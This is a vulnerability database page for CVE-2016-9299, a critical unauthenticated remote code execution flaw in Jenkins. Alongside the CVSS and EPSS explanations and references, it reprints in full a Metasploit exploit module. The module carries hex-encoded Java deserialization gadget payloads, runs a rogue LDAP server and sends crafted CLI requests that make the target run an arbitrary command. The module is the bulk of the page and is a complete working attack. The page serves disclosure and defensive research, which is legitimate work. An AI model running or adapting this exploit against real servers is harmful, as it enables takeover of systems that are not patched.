CVE-2016-9299 : Detail

CVE-2016-9299

9.8
/
Critical
A03-Injection
94.86%V3
Network
2017-01-12
22h00 +00:00
2018-05-19
07h57 +00:00
CVE.org
NVD
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CVE Descriptions

The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44642

Publication date : 2018-05-16 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking STAGE1 = "aced00057372002b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e466c6174334d6170a300f47ee17184980300007870770400000002737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced530200014c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b0300007870737200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e0003787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740008041ac080131d170678787371007e00090000000077040000000078737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870707372001f636f6d2e73756e2e6a6e64692e6c6461702e4c646170417474726962757465c47b6b02a60583c00300034c000a62617365437478456e767400154c6a6176612f7574696c2f486173687461626c653b4c000a6261736543747855524c7400124c6a6176612f6c616e672f537472696e673b4c000372646e7400134c6a617661782f6e616d696e672f4e616d653b787200256a617661782e6e616d696e672e6469726563746f72792e42617369634174747269627574655d95d32a668565be0300025a00076f7264657265644c000661747472494471007e001778700074000077040000000078707400156c6461703a2f2f6c6f63616c686f73743a313233347372001a6a617661782e6e616d696e672e436f6d706f736974654e616d6517251a4b93d67afe0300007870770400000000787871007e000e707871007e000e78" # java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 'touch /tmp/wtf' STAGE2 = "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000e746f756368202f746d702f777466740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878" SEARCH_REQUEST = 3 SEARCH_RES_ENTRY = 4 SEARCH_RES_DONE = 5 ABANDON_REQUEST = 16 include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins CLI HTTP Java Deserialization Vulnerability', 'Description' => %q{ This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on the Jenkins, which allows remote arbitrary code execution via HTTP. Authentication is not required to exploit this vulnerability. }, 'Author' => [ 'Matthias Kaiser', # Original Vulnerability discovery 'Alisa Esage', # Private Exploit 'Ivan', # Metasploit Module Author 'YSOSerial' #Stage 2 payload ], 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Jenkins 2.31', {} ] ], 'References' => [ ['CVE', '2016-9299'], ['URL', 'https://github.com/jenkinsci-cert/SECURITY-218'], ['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16'], ['URL', 'http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class-deepsec-edition'], ['URL', 'https://github.com/frohoff/ysoserial'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 16 2016' )) register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), Opt::RPORT('8080'), OptAddress.new('SRVHOST', [ true, "The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0", '127.0.0.1' ]), OptPort.new('SRVPORT', [ true, "The local port to listen on for the ldap server.", 1389 ]), OptAddress.new('LDAPHOST', [ true, "The ldap host the exploit will try to connect to ", '127.0.0.1' ]) ]) end def target_uri begin URI(datastore['TARGETURI']) rescue ::URI::InvalidURIError print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" raise Msf::OptionValidateError.new(['TARGETURI']) end end def normalize_uri(*strs) new_str = strs * "/" new_str = new_str.gsub!("//", "/") while new_str.index("//") # Makes sure there's a starting slash unless new_str[0,1] == '/' new_str = '/' + new_str end new_str end def aseq(x, tag) s = seq(x) s.tag_class = :APPLICATION s.tag = tag s end def seq(x) OpenSSL::ASN1::Sequence.new(x) end def int(x) OpenSSL::ASN1::Integer.new(x) end def string(x) OpenSSL::ASN1::OctetString.new(x) end def set(x) OpenSSL::ASN1::Set.new(x) end def enum(x) OpenSSL::ASN1::Enumerated.new(x) end def java_string(s) length = s.length packed_length = [length].pack("S>") "#{packed_length}#{s}" end def search_res_done(message_id) s = seq([ int(message_id), aseq([enum(0), string(""), string("")], SEARCH_RES_DONE) ]) s.to_der end def make_stage2(command) [STAGE2].pack("H*").gsub("\x00\x0Etouch /tmp/wtf", java_string(command)) end def make_stage2_reply(command, message_id) java_class_name_attributes = seq([string("javaClassName"), set([string("WTF")])]) java_serialized_data_attributes = seq([string("javaSerializedData"), set([string(make_stage2(command))])]) attributes = seq([java_class_name_attributes, java_serialized_data_attributes]) s = seq([ int(message_id), aseq([string("cn=wtf, dc=example, dc=com"), attributes], SEARCH_RES_ENTRY)]) s.to_der end def make_stage1(ldap_url) [STAGE1].pack("H*").gsub("\x00\x15ldap://localhost:1234", java_string(ldap_url)) end def read_ldap_packet(socket) buffer = "" bytes = socket.read(2) if bytes[0] != "0" raise "NOT_LDAP: #{bytes.inspect} #{bytes[0]}" end buffer << bytes length = bytes[1].ord if (length & (1<<7)) != 0 length_bytes_length = length ^ (1<<7) length_bytes = socket.read(length_bytes_length) buffer << length_bytes length = length_bytes.bytes.reduce(0) {|c, e| (c << 8) + e} end buffer << socket.read(length) buffer end def write_chunk(socket, chunk) socket.write(chunk.bytesize.to_s(16) + "\r\n") socket.write(chunk) socket.write("\r\n") end def exploit uuid = SecureRandom.uuid ldap_port = datastore["SRVPORT"] ldap_host = datastore["SRVHOST"] ldap_external_host = datastore["LDAPHOST"] command = payload.encoded host = datastore["RHOST"] ldap = TCPServer.new(ldap_host, ldap_port) cli_path = normalize_uri(target_uri.path, "cli") begin download = connect() begin download.write("POST #{cli_path} HTTP/1.1\r\n" + "Host: #{host}\r\n" + "User-Agent: curl/7.36.0\r\n" + "Accept: */*\r\n" + "Session: #{uuid}\r\n" + "Side: download\r\n" + "Content-Length: 0\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n\r\n") download.read(20) upload = connect() begin upload.write("POST #{cli_path} HTTP/1.1\r\n" + "Host: #{host}\r\n" + "User-Agent: curl/7.36.0\r\n" + "Accept: */*\r\n" + "Session: #{uuid}\r\n" + "Side: upload\r\n" + "Content-type: application/octet-stream\r\n" + "Transfer-Encoding: chunked\r\n\r\n") write_chunk(upload, "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=") write_chunk(upload, "\00\00\00\00") upload.flush stage1 = make_stage1("ldap://#{ldap_external_host}:#{ldap_port}") chunk_header = [stage1.bytesize].pack("S>") write_chunk(upload, chunk_header + stage1) upload.flush client = ldap.accept begin # this hardcodes an ldap conversation # read bindRequest read_ldap_packet(client) # write bindResponse client.write(["300c02010161070a010004000400"].pack("H*")) # read searchRequest read_ldap_packet(client) # write searchResEntry client.write(["3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"].pack("H*")) # write searchResDone client.write(search_res_done(2)) # read abandonReqeust or searchRequest bytes = read_ldap_packet(client) packet = OpenSSL::ASN1.decode(bytes) # abandonRequest packet is sometimes sent # so we distinguish between abandonRequest/searchRequest tag = packet.value[1].tag if tag == ABANDON_REQUEST bytes = read_ldap_packet(client) packet = OpenSSL::ASN1.decode(bytes) tag = packet.value[1].tag end if tag == SEARCH_REQUEST message_id = packet.value[0].value.to_int # write searchResEntry client.write(make_stage2_reply(command, message_id)) # write searchResDone client.write(search_res_done(message_id)) else raise "Unexpected packet: #{tag}" end client.flush ensure client.close end ensure upload.close end ensure download.close end ensure ldap.close end end def check result = Exploit::CheckCode::Safe begin if vulnerable? result = Exploit::CheckCode::Vulnerable end rescue Msf::Exploit::Failed => e vprint_error(e.message) return Exploit::CheckCode::Unknown end result end def vulnerable? res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res fail_with(Failure::Unknown, 'The connection timed out.') end http_headers = res.headers http_headers['X-Jenkins'] && http_headers['X-Jenkins'] <= "2.31" end # Connects to the server, creates a request, sends the request, # reads the response # # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # def send_request_cgi(opts={}, timeout = 20) begin c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT']) c.connect r = c.request_cgi(opts) c.send_recv(r, timeout) rescue ::Errno::EPIPE, ::Timeout::Error nil end end end

Products Mentioned

Configuraton 0

Jenkins>>Jenkins >> Version To (including) 2.19.2

Jenkins>>Jenkins >> Version To (including) 2.31

Configuraton 0

Fedoraproject>>Fedora >> Version 25

References

https://www.exploit-db.com/exploits/44642/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.openwall.com/lists/oss-security/2016/11/12/4
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/94281
Tags : vdb-entry, x_refsource_BID
http://www.openwall.com/lists/oss-security/2016/11/14/9
Tags : mailing-list, x_refsource_MLIST